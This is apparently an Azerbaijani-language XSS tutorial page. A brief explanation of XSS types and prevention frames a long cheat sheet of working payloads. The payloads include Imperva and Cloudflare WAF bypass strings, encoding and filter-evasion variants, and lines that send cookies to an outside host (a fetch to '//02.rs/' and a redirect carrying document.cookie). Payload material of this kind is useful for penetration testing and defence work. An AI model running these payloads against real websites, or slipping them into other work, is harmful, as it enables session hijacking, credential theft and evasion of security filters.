Cross-Site-Scripting (XSS)

XSS nədir?

Cross-Site Scripting (XSS) veb proqramlarda tez-tez rast gəlinən bir növ təhlükəsizlik zəifliyidir. XSS hücumlarında veb səhifələrə zərərli skriptlər yeridilir və istifadəçilər həmin səhifələrə daxil olduqda, skriptlər onların brauzerlərində icra olunur. Bu, istifadəçi məlumatlarının oğurlanması (giriş etimadnaməsi və ya şəxsi məlumat kimi), səhifə məzmununu manipulyasiya etmək və ya istifadəçiləri zərərli vebsaytlara yönləndirmək kimi müxtəlif zərərli nəticələrə gətirib çıxara bilər. XSS, təcavüzkarlara həmin saytla bərabər kodu yeritməyə və icra etməyə icazə verməklə istifadəçinin müəyyən bir veb-sayta olan etibarından istifadə edir. XSS-in qarşısını almaq üçün developerlər istifadəçi inputunu təsdiq etməli və təmizləməlidir, outputu kodlaşdırmalı və zərərli skriptlərin veb tətbiqlərinə yeridilməsi və icra olunmamasını təmin etmək üçün təhlükəsiz tətbirlərini həyata keçirməlidir.

XSS-in növləri:

Self, Stored, Reflected və DOM əsaslı.

Stored XSS hücumunda zərərli skript həmişəlik olaraq hədəf serverdə, çox vaxt database-də saxlanılır. İstifadəçi yoluxmuş səhifəyə daxil olduqda, skript götürülür və icra edilir, bu, həssas məlumatların potensial oğurlanmasına və ya istifadəçinin adından icazəsiz funksiyaların edilməsinə gətirib çıxarır. Reflected XSS, daxil edilmiş skript URL-nin bir hissəsi olduqda baş verir və server onu dərhal istifadəçinin brauzerində göstərir. Bu hücum növü tez-tez fişinq cəhdlərində istifadə olunur, burada təcavüzkar qurbanı aldadaraq zərərli linkə kliklədir. DOM əsaslı XSS veb-səhifənin Document Obyekt Modelində (DOM) olan zəifliklərdən istifadə edərək, təcavüzkarlara səhifənin strukturunu və funksionallığını manipulyasiya etməyə imkan verir.

XSS hücumlarının qarşısını almaq üçün developerlər lazımi input yoxlaması və output kodlamasını yerinə yetirməliditlər. İnput-un yoxlanılması istifadəçi input-nun gözlənilən meyarlara cavab verməsini təmin edir, output-un kodlaşdırılması isə veb-səhifədə göstərilən istifadəçi tərəfindən təmin edilən hər hansı məlumatın icra edilə bilən kod kimi şərh edilməsinin qarşısını almaq üçün düzgün kodlaşdırılmasını təmin edir. Bundan əlavə, veb proqram firewallları və təhlükəsizlik header-ləri potensial təhlükələri aşkarlamaq və azaltmaqla XSS hücumlarına qarşı əlavə müdafiə qatını təmin edirlər.

Nəticə olaraq, XSS həm istifadəçilər, həm də veb tətbiqləri üçün ciddi nəticələrə səbəb ola biləcək kritik təhlükəsizlik problemidir. Müxtəlif növ XSS hücumlarını anlamaq və effektiv təhlükəsizlik tədbirlərini həyata keçirməklə tərtibatçılar istismar riskini əhəmiyyətli dərəcədə azalda və veb proqramlarının bütövlüyünü qoruya bilərlər. XSS zəifliklərinə qarşı güclü müdafiəni təmin etmək üçün daimi olaraq təhlükəsizlik auditləri və ən son təhlükəsizlik xəbərləri haqda məlumatlı olmaq vacibdir.

Payload Notları və ipucuları

• Bəzi payload-lar axtarışdan sonra səhifədə “> kimi qalıq simvollar buraxa bilər. Siz kodlaşdırmadan istifadə edərək həmin simvollardan qaça bilərsiniz.

• Digərpayload həmçinin siçanı onun üzərinə gətirməklə və ya onlara klikləməklə popup yaradan şəkillərə əlavə oluna bilər.

• Bəzi hallarda, filtrləri bypass etmək üçün paylaod-ın qarşısında null byte, %00 istifadə etmək lazım ola bilər.

• Bu faydalı yükləri həm ikiqat, həm də tək dırnaqlarla sınayın. Biri işləmirsə, digərini sınayın.

Bəzi XSS nümunələri və output-ları:

Nümunə 1 – XXS Popup

Paylaod-lar:

<script>alert("XSS");</script>
<script>alert(‘XSS’);</script>
<script>alert(‘XSS’)</script>
<<script>alert("XSS");//<</script>
<sCripT>alert("XSS")</scRipt>
<scr<script>ipt>alert('XSS')</script>
<sCripT>alert('XSS')</scRipt>
<img src="/" onerror="alert('XSS')"/>
<img src=x onMouseOver=alert('XSS')>
<svg/onload=eval("ale"+"rt")(`XSS${alert`XSS`}`)>
<img src='nevermind' onerror="alert('XSS');" />
<< script>alert("XSS");//<</ script>
<svg/onload=alert('XSS')>
div.innerHTML = '<script deferred>alert("XSS");</script>';
<img src="aaa" onerror=alert('xxs')>
<body onload="alert('XSS')">

Bunları yazdıqdan sonra belə bir output ilə qarşılaşa bilərsiniz

Nümunə 2 – 1 Popup

Paylaod-lar:

<svg/onload=alert(1)>
<svg onload=alert(1)>
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
</script><svg onload=alert(1)>
“><img onerror=alert(1) src>
<img src='x' onerror='alert(1)'>
"><svg onload=alert(1)>
<script>alert(1)</script>
%00<script>alert(1)</script>
%00<script>alert(1);</script>

XSS-in outputu:

Nümunə 3 – Cookie Popup

Paylaod:

<script>alert(document.cookie);</script>

XSS-in outputu:

Nümunə 4 – Domain Popup

Paylaod-lar:

</Textarea/</Noscript/</Pre/</Xmp><Svg
/Onload=confirm(document.domain)>”
<script/src=//15.rs></script>
<script src=//⑮.₨></script> *

XSS-in outputu:

Nümunə 5 – Blank Popup

Paylaod:

document.createElement('div').innerHTML = "<img src
onerror=alert()>

XSS-in outputu:

Bütün bunların hamısı testphp.vulnweb.com-də test edilib.

WAF bypass payload

Imperva Incapsula:
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>

Ondblclick xss Payloads

<h1 ondblclick=alert`testXSS`>TESTXSS</h1>
<marquee ondblclick=alert`testXSS`>TESTXSS</marquee>
<xss ondblclick="alert`testXSS`" autofocus tabindex=1>testXSS</xss>
<w="/x="y>"/ondblclick=`<`[confir\u006d`testXSS`]>z

XSS Payloads – Bypass Cloudflare

"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;
'"><script>alert`test`</script><img src=x onerror=alert`test`>
<svg onx=() onload=(confirm)(1)>
\">'>\"><img/src/onerror=confirm(document.cookie)>
"><details/open/ontoggle=prompt("/test/")>
<a"/onclick=(confirm)(document.cookie)>Click Here! 
//Dec: 
<svg onload=prompt%26%230000000040document.domain)> 
//Hex:
<svg onload=prompt%26%23x000000028;document.domain)>
< svg on onload = ( alert ) ( document.domain ) > r " on onmouseover = ( alert ) ( document.domain ) // r * / eval ?. ( value % 2B / ( / . source ) // " > < input value = confirm autofocus onfocus = ' / * "
<script> onerror=eval,new'\u{22}-alert\u{28}1\u{29}//' </script>
//Dec:
<svg onload=prompt%26%230000000040document.domain)> 
//Hex:
<svg onload=prompt%26%23x000000028;document.domain)>
cookieStore.getAll().then(x=>fetch('//02.rs/'+JSON.stringify(x)))
<div id=x></div> <script> Window.prototype.x.innerHTML='<img src=1 onerror=alert(1)>'; </script>
Window.prototype.__proto__.x.ownerDocument.defaultView.alert(1)</script>
java%0dscrip%0d%1b%1bt:console.log`${location=`https://www.test.com?c=${document.cookie}`}`
x{}</style><xss style="animation-name:x" onanimationend="[].map(alert('xss'))"></xss>> 
<b/style=position:fixed;top:0;left:0;font-size:200px>CSS<

Bəzi filtirləmələri bypass etmək

Unicode:
<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>
--------------------------------------------------------------------
Hex:
<script>eval('\x61lert(1)')</script>
--------------------------------------------------------------------
HTML:
<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
\’-alert(1)//
--------------------------------------------------------------------
URL:
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
--------------------------------------------------------------------
Double URL Encode:
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
--------------------------------------------------------------------
Unicode + HTML:
<svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>
--------------------------------------------------------------------
HTML + URL:
<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>

Bəzi məhdudiyyətləri bypass etmək

Bunlarda mötərizə yoxdur:
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>
--------------------------------------------------------------------
Bunlarda mötərizədə və nöqtəli vergül yoxdur:
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>
--------------------------------------------------------------------
Mötərizə və boşluq yoxdur:
<script>Function`X${document.location.hash.substr`1`}```</script>
--------------------------------------------------------------------
Bucaq mötərizələri (atributlarda):
“onmouseover=“alert(1)
"onmouseover="alert(1)
‘-alert(1)-’
--------------------------------------------------------------------
Əgər quote silinirsə:
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//
--------------------------------------------------------------------
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
--------------------------------------------------------------------
Digər:
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)

XSS-in qarşısını necə almaq olar?

XSS-nin (Cross Site Scripting) qarşısını almaq üçün istifadəçi inpu-unu veb-səhifədə göstərməzdən əvvəl yoxlamaq və dezinfeksiya etmək çox vacibdir. Yalnız gözlənilən və təhlükəsiz məlumatların qəbul edilməsini təmin etmək üçün həm client, həm də server tərəflərində input-un təsdiqindən istifadə edin. Zərərli skriptlərin riskini minimuma endirərək, brauzerdə icra oluna bilən məzmun növlərini məhdudlaşdırmaq üçün məzmun təhlükəsizliyi siyasəti (CSP) header-lərindən istifadə edin. Əlavə olaraq, xüsusi simvolları HTML obyektlərinə çevirərək output-u kodlayın ki, bu da təcavüzkarların zərərli kodu yeritməsini çətinləşdirir. Belə zəiflikləri aradan qaldırmaq üçün veb proqramınızı və server proqramınızı daimi olaraq yeniləyin və patch edin. Bu tədbirləri etməklə siz veb saytınızın XSS hücumlarına qarşı dayanıqlığını əhəmiyyətli dərəcədə artıra bilərsiniz.

Last updated